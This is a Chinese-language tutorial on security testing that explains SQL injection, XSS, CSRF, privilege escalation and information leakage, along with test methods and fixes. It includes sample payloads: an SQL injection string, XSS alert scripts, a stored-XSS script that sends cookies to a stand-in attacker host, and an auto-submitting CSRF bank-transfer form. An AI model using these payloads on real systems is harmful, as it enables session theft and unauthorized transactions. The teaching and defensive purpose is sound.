安全测试介绍
背景
在当前信息技术快速发展的背景下,网络安全问题日益严峻,数据泄露、黑客攻击、病毒传播等安全事件层出不穷,给个人、企业乃至国家带来严重威胁。所以安全测试已成为企业和国家关注的重心
作用
安全测试是确保软件系统安全、避免潜在漏洞的重要手段。通过及时发现并修复漏洞,能够有效降低安全风险,保护敏感数据,增强系统的防御能力。
定义
安全测试是指通过一系列手段和技术,评估系统、应用程序或网络的安全性,检查其是否存在潜在的安全漏洞或弱点,确保在面对外部攻击时能够有效抵御。
目的
1、发现和修复安全漏洞
2、验证系统是否符合安全规范
3、评估系统的防御能力和应对攻击的能力
安全测试生命周期
安全测试的生命周期是一个迭代过程,它贯穿了从需求分析到系统发布后的各个阶段。每个阶段都应充分考虑安全问题,确保系统在设计、开发、测试和部署等环节中都有完善的安全保障措施。通过持续的安全测试和改进,能够确保系统始终保持强大的安全性,防范潜在的安全威胁。
安全测试与常规测试的区别
维度 | 常规测试 | 安全测试 |
---|---|---|
目标与重点 | 主要关注软件的功能、性能、用户体验等方面的正常运行。目标是确保软件按照需求规格书正常工作,功能完备且没有明显的缺陷。 | 关注系统的安全性,旨在发现潜在的安全漏洞和风险。目标是确保系统免受未授权访问、数据泄露、攻击、滥用等安全威胁。 |
测试范围 | 测试的是软件的功能、界面、性能、兼容性等方面 | 测试的是软件及其环境中的安全性问题(输入验证/权限控制/加密数据保护等) |
测试方法 | 黑盒/白盒/回归 | 滲透测试/漏洞扫描 |
测试工具 | 接口测试工具(JUnit)、自动化测试工具(Selenium) | 滲透测试和漏洞扫描【Kali Linux、Burp Suite、Metasploit】,静态分析工具【Checkmarx、SonarQube】,动态分析工具【OWASP ZAP、Acunetix】 |
风险与后果 | 测试失败通常意味着功能不完整或无法满足用户需求,可能导致用户体验差或出现功能性错误 | 安全漏洞可能导致严重后果,如数据泄露、系统被黑客攻击、身份盗窃等,影响公司信誉、用户隐私,甚至可能造成法律和财务损失 |
安全测试关注的维度
传输 | 接口 | 参数 |
---|---|---|
1、敏感信息传递加密 2、链路加密 | 访问控制:未授权问题 | 1、 注入:sql注入、命令注入、文件注入 2、越权:水平越权、垂直越权 |
安全测试常见类型
类型 | 介绍 | 常用工具 |
---|---|---|
静态分析 | 通过代码审查或静态分析工具检查代码中的潜在漏洞和不安全编程实践。这种方法可以在开发阶段进行,能够提前发现问题。 | SonarQube、Checkmarx、Veracode |
动态分析 | 在应用程序运行时,通过模拟攻击或测试用例来分析其行为。通常通过渗透测试、漏洞扫描等方式实现,能够检测到系统在运行中暴露的安全问题。 | OWASP ZAP、Acunetix |
滲透测试 | 模拟黑客攻击,测试系统对外部入侵的防御能力。渗透测试不仅检测漏洞,还能验证漏洞的实际威胁级别。 | Kali Linux、Metasploit、Burp Suite |
常见的web安全漏洞
常见的web安全漏洞有三大类,包括输入输出验证不充分(sql注入,xss,CSRF,文件上传,代码注入,命令注入,信息泄漏),设计缺陷(越权漏洞,非授权的对象引用,业务逻辑缺陷),环境缺陷(基础环境漏洞,框架漏洞);下面我重点对常见的几类安全漏洞形式进行讲解:
SQL注入
定义: 攻击者通过在输入字段中插入恶意的SQL代码,试图操控数据库执行未授权的操作(如数据泄露、删除、修改等)
影响: 可能导致数据泄露、数据破坏、甚至完全控制数据库。
案例:
代码实现方式:
正常场景:根据用户名查询对应密码:
正常输入:http://127.0.0.1:8080/query?username=admin
sql注入输入:http://127.0.0.1:8080/query?username=admin `or`1`=`1#
通过sql注入的方式就可以获取到所有的用户名信息,因为1=1永远成立
防护: 使用预编译的SQL语句(参数化查询),避免直接拼接用户输入。
sql注入漏洞利用工具: sqlmap可以进行自动化注入探测
测试sql注入漏洞的方法:
1、根据接口文档获取需要数据库查询操作的接口
2、在提交参数的位置输入恶意字符串 ‘or’1‘=’1#
3、查看后台的sql日志监控,敏感字符是否被传递进入数据库
4、直接对后端代码进行审计,查看是否存在sql拼接
sql注入漏洞的修复方式:
1、使用预编译的方式进行修复
2、对危险字符进行过滤:
跨站点脚本攻击(XSS)
定义: 将数据注入到静态页面或者脚本代码中,当浏览器渲染整个html文档的过程中,触发了注入的脚本,导致跨站脚本攻击的发生
常见的有反射型xss,dom型xss,存储型xss
影响: 账号被盗取,网站钓鱼等。
案例:
反射型xss:攻击者将跨站代码写在链接中,受害者请求这种链接时,跨站代码经过服务端反射回来触发,此类代码不会存储到服务端;
正常场景:后端接收用户输入
正常输入:http://127.0.0.1:8080/set
xss输入:http://127.0.0.1:8080/set?xss=<script>alert(document.cookie)</script>
页面会弹出对话框,并展示用户cookie信息
dom型xss:DOM - based XSS(基于文档对象模型的跨站脚本攻击)主要是通过修改页面的DOM节点来触发恶意脚本。与反射型和存储型XSS不同的是,DOM - based XSS的恶意脚本执行是在客户端浏览器的DOM环境中,是由于网站的JavaScript代码对用户输入处理不当,导致DOM结构被恶意修改。这种攻击通常和网站的动态操作相关,如通过操作URL中的参数来改变DOM结构。
假设有一个使用JavaScript动态更新页面内容的网站。在HTML中有这样一段代码:
<div id="content"></div> ,而对应的JavaScript代码如下: var urlParams = new URLSearchParams(window.location.search); var userInput = urlParams.get('input'); document.getElementById('content').innerHTML = userInput;
攻击者构造一个恶意链接
https://example.com/page.html?input=<script>alert('DOM - XSS')</script> ,
当用户访问这个链接时,浏览器会根据URL中的参数 input 的值更新 id 为 content 的元素内容,此时就会执行恶意脚本,弹出一个警告框,这表明DOM - based XSS攻击成功。
存储型xss:存储型XSS也叫持久型XSS。攻击者将恶意脚本存储在目标服务器端,如数据库、文件系统等。当用户请求包含该恶意脚本的页面时,浏览器会执行脚本,从而受到攻击。这种攻击危害较大,因为它不需要用户点击特定链接,只要用户访问了被注入恶意脚本的页面就可能被攻击。常见于用户生成内容的网站,像论坛、博客、评论区等。
假设一个论坛网站,用户可以发表帖子和评论。攻击者在发表评论时,将恶意脚本
<script>document.location = 'http://attacker - site.com/steal - cookies.php?cookies=' + document.cookie</script>
作为评论内容提交。当其他用户访问包含这条评论的帖子页面时,他们的浏览器会执行该脚本,将用户的cookie信息发送到攻击者的 steal - cookies.php 脚本所在的服务器,攻击者就可以利用这些cookie来假冒用户登录等操作。
测试xss漏洞的方法:
1、根据接口文档获取所有需要提交参数并在前端展示的接口
2、在提交参数的位置输入恶意字符
3、查看参数输出位置,是否有弹框出现或html表级是否被成功解析
xss漏洞的预防方式:
1、输入验证
- 对从URL、用户输入等获取的数据进行严格验证。例如,定义好允许的字符集和数据格式。如果数据应该是纯数字,那么就拒绝包含字母或特殊字符的输入。
- 可以使用正则表达式来检查输入是否符合预期的模式,像验证电子邮件地址是否符合正确的格式,防止恶意脚本嵌入其中。
2、输出编码
- 在将数据插入到DOM中之前,对数据进行合适的编码。如果数据是用于显示在HTML文本内容中,使用HTML实体编码。
- 例如,将 < 编码为 < , > 编码为 > 。这样,即使数据中包含类似脚本标签的字符,浏览器也会将其作为普通文本显示,而不会当作脚本执行。
3、使用安全的API
- 尽量使用安全的DOM操作API。比如,使用 textContent 属性代替 innerHTML 来设置文本内容。因为 textContent 不会解析HTML标签,能避免脚本执行。
- 例如, document.getElementById(‘element’).textContent = userInput; 就比使用 innerHTML 更安全。
4、内容安全策略(CSP)
- 配置内容安全策略,限制加载外部脚本的来源。可以通过设置 script - src 指令,规定脚本只能从特定的、可信任的域加载。
- 例如,在服务器的响应头中设置 Content - Security - Policy: script - src ‘self’; ,这表示只允许加载同域下的脚本,从而减少外部恶意脚本注入的风险。
跨站点请求伪造(CSRF)
定义: 攻击者诱导用户访问包含恶意代码的页面,利用用户已登录受信任网站的身份,在用户不知情的情况下发送伪造请求,让受信任网站执行非用户本意的操作。比如在银行网站,可能会导致转账等操作被恶意执行。
影响: 它可能会修改用户数据、执行交易等操作,从而对用户造成经济损失、隐私泄露等严重后果。
案例:
假设一个简单的银行转账场景。用户已经登录了银行网站 bank.example.com ,银行网站有一个转账接口 bank.example.com/transfer ,它接收参数 amount (转账金额)和 toAccount (收款账户)。
正常转账操作:用户在银行网站手动输入转账金额和收款账户,点击转账按钮后,浏览器发送请求如下:
- POST bank.example.com/transfer
- Content - Type: application/x - www - form - urlencoded
- amount=1000&toAccount=123456789
CSRF攻击过程:
- 攻击者创建一个恶意网页,在网页中包含如下HTML代码:
html
<form action="bank.example.com/transfer" method="post">
<input type="hidden" name="amount" value="5000" />
<input type="hidden" name="toAccount" value="987654321" />
<input type="submit" value="Click me" />
</form>
<script>
document.forms[0].submit();
</script>
- 攻击者诱使用户访问这个恶意网页。当用户访问时,浏览器会自动提交这个表单,因为用户已经登录银行网站,银行网站的服务器无法区分这个请求是用户正常操作还是恶意攻击,就会执行转账操作,将用户账户中的钱转到攻击者指定的账户。
测试CSRF漏洞的方法:
1、在接口文档中寻找对应测试接口
2、抓包后,使用burpsuite工具生成csrf利用代码
3、使用另一个登录账号访问生成的html代码,模拟攻击操作,查看次操作是否被成功执行
CSRF漏洞的预防方式:
1、验证请求来源
- 检查Referer头部:Referer是HTTP请求头部的一个字段,它记录了请求的来源地址。通过检查这个字段,可以判断请求是否来自合法的页面。不过这种方法有一定局限性,因为有些浏览器可能不会发送Referer,或者Referer可以被攻击者伪造。
- 验证Origin头部:Origin只包含协议、域名和端口信息,相对Referer更可靠一些。服务器可以检查Origin头部来确定请求是否来自同一站点。
2、使用CSRF令牌
- 原理:服务器在用户访问页面时生成一个随机的、唯一的令牌(token),并将其包含在页面的表单或者请求头中。当用户提交请求时,服务器会验证请求中的令牌与之前生成并存储的令牌是否一致。如果不一致,就拒绝请求。
- 应用示例:在一个Web应用中,用户登录后,服务器为该用户生成一个CSRF令牌,如 csrf_token=abc123 ,并将其添加到用户访问的每个表单中,像这样 。当用户提交表单时,服务器会检查提交的令牌是否为 abc123 ,如果不是,就判定为可能是CSRF攻击并拒绝该请求。
3、SameSite Cookie属性
- 原理:SameSite属性可以设置为Strict或Lax,用于限制Cookie在跨站点请求中的发送方式。当设置为Strict时,浏览器只有在请求来自设置Cookie的同一站点时才会发送Cookie;设置为Lax时,Cookie在一些安全的跨站点请求(如点击链接跳转)中可以发送,但在跨站点的POST请求等情况下不会发送,这样可以降低CSRF攻击的风险。
- 示例:在服务器设置Cookie时添加属性 Set - Cookie: sessionid=12345; SameSite=Strict ,这就使得该Cookie只能在用户访问该站点自身页面时发送,有效防止其他站点利用用户的登录Cookie进行CSRF攻击。
XSS和CSRF的区别
xss | csrf |
---|---|
跨站脚本攻击 | 跨站点请求伪造攻击 |
有javascript参与 | 无javascript参与 |
盗取受害者的会话cookie | 利用受害者未失效的cookie |
所有请求由目标网站同域发出 | 请求跨域发出,也可以来自本站 |
越权漏洞
越权访问是 Web 应用程序中一种常见的漏洞,该漏洞是指应用程序在检查授权时存在纰漏,使得攻击者在获得低权限账户后,利用一些方式绕过权限检查,访问或者操作其他用户或者更高权限。
水平越权
又称横向越权,这是一种 “基于数据的访问控制” 设计缺陷引起的漏洞。由于服务器端在接收到请求数据进行操作时没有判断数据的所属人 / 所属部门而导致的越权数据访问漏洞,也就是相同权限的不同用户之间可以互相访问数据以及执行其他用户的功能等。
案例:
1.管理员角色登录商家后台
2.在删除接口处抓包
3.将URL中的ID传参改为有相同权限的其他用户,如果接口能请求成功, 则是水平越权
原代码:
修复代码:增加用户信息校验
垂直越权
又称纵向越权(权限提升攻击),这是一种 “基于 URL 的访问控制” 设计缺陷引起的漏洞,由于后台应用没有做权限控制,或仅仅在前端权限控制,导致恶意用户只要猜测其他管理页面的 URL 或者敏感的参数信息,就可以访问或控制其他角色拥有的数据或页面,达到权限提升的目的。也就是低权限用户可访问高权限用户的数据以及执行高权限用户功能等。
案例:
1.管理员角色登录商家后台
2.在删除角色处抓包
3.将接口请求的cookie值改为没有删除角色权限的普通用户,如果接口能请求成功,则存在垂直越权漏洞
原代码: 如果一个公司只有管理员等角色可以进行删除操作,请求接口时不判定当前用户的角色有可能使普通员工也可以删除角色。攻击者可以通过恶意猜测角色ID进行越权操作。
修复后的代码:在每个步骤的 session 都应该添加标识位,并将 session 与用户的身份进行强绑定,并在新步骤显示之前必须要检测之前每一步的 session 标志位。关于密码修改的地方还可以使用一次性填写所有的校验信息,例如原始密码、新密码等信息后再提交 / 重置密码请求。
###越权问题的规避方式
1. 完善安全架构、用户权限体系。知道哪些数据对应哪些用户,哪些数据不应该由哪些用户操作;
2. 鉴权,服务端对请求的数据和当前用户身份做校验;
3. 不要直接使用对象的实名或关键字,例如订单 ID 使用随机数;
4. 对于用户访问角色的权限进行严格的检查及限制,前后端同时对用户输入信息进行校验,双重验证机制;
5. 在一些操作时可以使用 session 对用户的身份进行判断和控制;
6. 调用功能前验证用户是否有权限调用相关功能;
7. 执行关键操作前必须验证用户身份,验证用户是否具备操作数据的权限;
8. 直接引用对象的加密资源 ID,防止攻击者枚举 ID,敏感数据特殊化处理;
9. 永远不要相信来自用户的输入,对于可控参数进行严格的检查与过滤;
信息泄漏
设计接口/页面时未考虑到URL地址泄露的情况或者接口返回多个用户明文信息, 导致查看对应信息时拿到该用户的所有相关敏感信息
案例:
当前工具根据经纪人id查询经纪人信息;
页面只展示经纪人4个信息,但是接口却返回了经纪人的全部详细信息,里面包含手机号和身份证号,那这种情况就属于信息泄漏,如果要展示,也应该加密返回,或者把不需要的参数不返回。
规避方式:
1、针对页面展示的字段,返回对应字段即可,不需要展示的字段不进行返回
2、针对用户敏感信息需要做加密处理,避免用户信息泄漏
安全漏洞的规避方式
1、代码中controller 层 是否设置全局的过滤器和拦截器
2、输入数据验证是否有做类型格式校验
3、数据层传给数据库时,是否有做异常sql检测,是否有做sql预编译逻辑
4、数据输出时,是否有做数据编码校验
5、用户授权管理是否有做水平访问控制和垂直访问控制
6、存储安全选用的存储方式是否安全:算法存储:安全的哈希(SHA256,SHA512),不安全的哈希(MD5,SHA1);安全的加密算法:(3DES,AES);不安全的加密算法(DES)